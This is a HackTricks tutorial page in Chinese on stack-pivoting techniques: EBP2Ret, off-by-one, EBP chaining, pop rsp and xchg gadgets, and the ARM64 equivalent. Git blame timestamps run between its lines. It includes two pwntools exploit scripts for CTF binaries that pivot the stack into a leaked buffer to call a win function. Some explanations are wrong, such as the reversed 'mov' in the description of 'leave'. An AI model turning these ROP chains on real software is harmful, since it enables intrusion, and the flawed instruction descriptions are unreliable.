2024-07-18 22:08:20 +00:00
|
|
|
|
# Stack Pivoting - EBP2Ret - EBP chaining
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
<details>
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
<summary>支持 HackTricks</summary>
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
2024-07-18 22:08:20 +00:00
|
|
|
|
{% endhint %}
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
|
|
|
|
## 基本信息
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
该技术利用操控 **基指针 (EBP)** 的能力,通过仔细使用 EBP 寄存器和 **`leave; ret`** 指令序列来链接多个函数的执行。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
作为提醒,**`leave`** 基本上意味着:
|
2024-04-07 02:33:04 +00:00
|
|
|
|
```
|
|
|
|
|
mov ebp, esp
|
|
|
|
|
pop ebp
|
|
|
|
|
ret
|
|
|
|
|
```
|
2024-07-18 22:08:20 +00:00
|
|
|
|
And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
|
|
|
|
|
|
2024-04-07 02:33:04 +00:00
|
|
|
|
### EBP2Ret
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
这个技术在你可以**更改 EBP 寄存器但没有直接方法更改 EIP 寄存器**时特别有用。它利用了函数执行完毕后的行为。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
如果在 `fvuln` 执行期间,你设法在栈中注入一个指向内存中你 shellcode 地址的**假 EBP**(加上 4 字节以考虑 `pop` 操作),你可以间接控制 EIP。当 `fvuln` 返回时,ESP 被设置为这个构造的位置,随后的 `pop` 操作将 ESP 减少 4,**有效地使其指向攻击者在其中存储的地址。**\
|
|
|
|
|
注意你**需要知道 2 个地址**:ESP 将要去的地址,以及你需要在 ESP 指向的地方写入的地址。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
#### Exploit Construction
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
|
|
|
|
首先,你需要知道一个**可以写入任意数据/地址的地址**。ESP 将指向这里并**运行第一个 `ret`**。
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
然后,你需要知道 `ret` 使用的地址,这将**执行任意代码**。你可以使用:
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
|
|
|
|
* 一个有效的 [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) 地址。
|
2024-07-18 22:08:20 +00:00
|
|
|
|
* **`system()`** 的地址,后面跟 **4 个垃圾字节** 和 `"/bin/sh"` 的地址(x86 位)。
|
|
|
|
|
* 一个 **`jump esp;`** gadget 的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟要执行的 **shellcode**。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
* 一些 [**ROP**](../rop-return-oriented-programing/) 链
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
请记住,在受控内存的任何这些地址之前,必须有**`4` 字节**,因为 **`pop`** 部分的 `leave` 指令。可以利用这 4B 设置一个**第二个假 EBP**,并继续控制执行。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
|
|
|
|
#### Off-By-One Exploit
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
这个技术有一个特定的变体,称为“Off-By-One Exploit”。当你**只能修改 EBP 的最低有效字节**时使用。在这种情况下,存储要跳转到的地址的内存位置与 **`ret`** 必须共享前 3 个字节,从而允许在更受限的条件下进行类似的操作。\
|
|
|
|
|
通常会修改字节 0x00t 以尽可能远地跳转。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
此外,通常在栈中使用 RET sled,并将真实的 ROP 链放在末尾,以使新的 ESP 更有可能指向 RET SLED 内部,并执行最终的 ROP 链。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
### **EBP Chaining**
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
因此,将一个受控地址放入栈的 `EBP` 条目中,并在 `EIP` 中放入一个 `leave; ret` 的地址,可以**将 `ESP` 移动到栈中受控的 `EBP` 地址**。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
现在,**`ESP`** 被控制,指向一个期望的地址,下一条要执行的指令是 `RET`。为了利用这一点,可以在受控的 ESP 位置放置以下内容:
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
* **`&(next fake EBP)`** -> 由于 `leave` 指令中的 `pop ebp` 加载新的 EBP
|
|
|
|
|
* **`system()`** -> 由 `ret` 调用
|
|
|
|
|
* **`&(leave;ret)`** -> 在 system 结束后调用,它将 ESP 移动到假 EBP 并重新开始
|
2024-04-07 02:33:04 +00:00
|
|
|
|
* **`&("/bin/sh")`**-> `system` 的参数
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
基本上,这种方式可以链接多个假 EBP 来控制程序的流程。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
|
|
|
|
这就像一个 [ret2lib](../rop-return-oriented-programing/ret2lib/),但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
此外,这里有一个 [**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这个技术与 **stack leak** 来调用一个获胜函数。这是页面的最终有效载荷:
|
2024-04-07 02:33:04 +00:00
|
|
|
|
```python
|
|
|
|
|
from pwn import *
|
|
|
|
|
|
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
|
|
|
p = process()
|
|
|
|
|
|
|
|
|
|
p.recvuntil('to: ')
|
|
|
|
|
buffer = int(p.recvline(), 16)
|
|
|
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
|
|
|
|
|
|
LEAVE_RET = 0x40117c
|
|
|
|
|
POP_RDI = 0x40122b
|
|
|
|
|
POP_RSI_R15 = 0x401229
|
|
|
|
|
|
|
|
|
|
payload = flat(
|
|
|
|
|
0x0, # rbp (could be the address of anoter fake RBP)
|
|
|
|
|
POP_RDI,
|
|
|
|
|
0xdeadbeef,
|
|
|
|
|
POP_RSI_R15,
|
|
|
|
|
0xdeadc0de,
|
|
|
|
|
0x0,
|
|
|
|
|
elf.sym['winner']
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
|
|
|
|
|
|
|
|
|
payload += flat(
|
|
|
|
|
buffer, # Load leak address in RBP
|
|
|
|
|
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
pause()
|
|
|
|
|
p.sendline(payload)
|
|
|
|
|
print(p.recvline())
|
|
|
|
|
```
|
2024-07-18 22:08:20 +00:00
|
|
|
|
## EBP 可能未被使用
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化编译的,**EBP 永远无法控制 ESP**,因此,任何通过控制 EBP 的漏洞利用基本上都会失败,因为它没有任何实际效果。\
|
|
|
|
|
这是因为如果二进制文件经过优化,**前言和尾声会发生变化**。
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
|
|
|
|
* **未优化:**
|
|
|
|
|
```bash
|
|
|
|
|
push %ebp # save ebp
|
|
|
|
|
mov %esp,%ebp # set new ebp
|
|
|
|
|
sub $0x100,%esp # increase stack size
|
|
|
|
|
.
|
|
|
|
|
.
|
|
|
|
|
.
|
|
|
|
|
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
|
|
|
|
ret # return
|
|
|
|
|
```
|
|
|
|
|
* **优化:**
|
|
|
|
|
```bash
|
|
|
|
|
push %ebx # save ebx
|
|
|
|
|
sub $0x100,%esp # increase stack size
|
|
|
|
|
.
|
|
|
|
|
.
|
|
|
|
|
.
|
|
|
|
|
add $0x10c,%esp # reduce stack size
|
|
|
|
|
pop %ebx # restore ebx
|
|
|
|
|
ret # return
|
|
|
|
|
```
|
2024-07-18 22:08:20 +00:00
|
|
|
|
## 其他控制 RSP 的方法
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
### **`pop rsp`** gadget
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有两个特定参数的函数,并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**:
|
2024-04-07 02:33:04 +00:00
|
|
|
|
```python
|
|
|
|
|
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
|
|
|
|
# This version has added comments
|
|
|
|
|
|
|
|
|
|
from pwn import *
|
|
|
|
|
|
|
|
|
|
elf = context.binary = ELF('./vuln')
|
|
|
|
|
p = process()
|
|
|
|
|
|
|
|
|
|
p.recvuntil('to: ')
|
|
|
|
|
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
|
|
|
|
|
log.success(f'Buffer: {hex(buffer)}')
|
|
|
|
|
|
|
|
|
|
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
|
|
|
|
|
POP_RDI = 0x40122b
|
|
|
|
|
POP_RSI_R15 = 0x401229 # pop RSI and R15
|
|
|
|
|
|
|
|
|
|
# The payload starts
|
|
|
|
|
payload = flat(
|
|
|
|
|
0, # r13
|
|
|
|
|
0, # r14
|
|
|
|
|
0, # r15
|
|
|
|
|
POP_RDI,
|
|
|
|
|
0xdeadbeef,
|
|
|
|
|
POP_RSI_R15,
|
|
|
|
|
0xdeadc0de,
|
|
|
|
|
0x0, # r15
|
|
|
|
|
elf.sym['winner']
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
payload = payload.ljust(104, b'A') # pad to 104
|
|
|
|
|
|
|
|
|
|
# Start popping RSP, this moves the stack to the leaked address and
|
|
|
|
|
# continues the ROP chain in the prepared payload
|
|
|
|
|
payload += flat(
|
|
|
|
|
POP_CHAIN,
|
|
|
|
|
buffer # rsp
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
pause()
|
|
|
|
|
p.sendline(payload)
|
|
|
|
|
print(p.recvline())
|
|
|
|
|
```
|
2024-07-18 22:08:20 +00:00
|
|
|
|
### xchg \<reg>, rsp gadget
|
2024-04-07 02:33:04 +00:00
|
|
|
|
```
|
|
|
|
|
pop <reg> <=== return pointer
|
|
|
|
|
<reg value>
|
|
|
|
|
xchg <reg>, rsp
|
|
|
|
|
```
|
|
|
|
|
### jmp esp
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
查看 ret2esp 技术:
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
|
|
|
|
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
|
|
|
|
|
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
|
|
|
|
{% endcontent-ref %}
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
## 参考资料与其他示例
|
2024-04-07 02:33:04 +00:00
|
|
|
|
|
|
|
|
|
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
|
|
|
|
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
|
|
|
|
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
|
2024-07-18 22:08:20 +00:00
|
|
|
|
* 64 位,使用以 ret sled 开头的 rop 链进行越界利用
|
2024-04-07 02:33:04 +00:00
|
|
|
|
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
|
2024-07-18 22:08:20 +00:00
|
|
|
|
* 64 位,无 relro、canary、nx 和 pie。该程序提供了堆栈或 pie 的泄漏和一个 qword 的 WWW。首先获取堆栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md))。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,通过 RBP 进行 pivoting。
|
2024-04-09 00:23:48 +00:00
|
|
|
|
|
|
|
|
|
## ARM64
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
在 ARM64 中,函数的 **前言和尾声** **不在堆栈中存储和检索 SP 寄存器**。此外,**`RET`** 指令不会返回到 SP 指向的地址,而是 **返回到 `x30` 内的地址**。
|
2024-04-19 14:49:58 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
因此,默认情况下,仅仅利用尾声你 **无法通过覆盖堆栈中的某些数据来控制 SP 寄存器**。即使你设法控制了 SP,你仍然需要一种方法来 **控制 `x30`** 寄存器。
|
2024-04-19 14:49:58 +00:00
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
* 前言
|
2024-04-19 14:49:58 +00:00
|
|
|
|
|
|
|
|
|
```armasm
|
|
|
|
|
sub sp, sp, 16
|
|
|
|
|
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
|
2024-07-18 22:08:20 +00:00
|
|
|
|
mov x29, sp // FP 指向帧记录
|
2024-04-19 14:49:58 +00:00
|
|
|
|
```
|
2024-07-18 22:08:20 +00:00
|
|
|
|
* 尾声
|
2024-04-19 14:49:58 +00:00
|
|
|
|
|
|
|
|
|
```armasm
|
|
|
|
|
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
|
|
|
|
|
add sp, sp, 16
|
|
|
|
|
ret
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
{% hint style="danger" %}
|
2024-07-18 22:08:20 +00:00
|
|
|
|
在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 **控制 `SP`**(通过控制某个寄存器的值传递给 `SP`,或者因为某种原因 `SP` 从堆栈获取其地址并且我们有一个溢出),然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
|
2024-04-19 14:49:58 +00:00
|
|
|
|
{% endhint %}
|
|
|
|
|
|
2024-07-18 22:08:20 +00:00
|
|
|
|
在以下页面中,你可以看到 **ARM64 中的 Ret2esp 等价物**:
|
2024-04-19 14:49:58 +00:00
|
|
|
|
|
|
|
|
|
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
|
|
|
|
|
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
|
|
|
|
|
{% endcontent-ref %}
|
2024-07-18 22:08:20 +00:00
|
|
|
|
|
|
|
|
|
{% hint style="success" %}
|
|
|
|
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
|
|
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
|
|
|
<summary>支持 HackTricks</summary>
|
|
|
|
|
|
|
|
|
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
|
|
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
{% endhint %}
|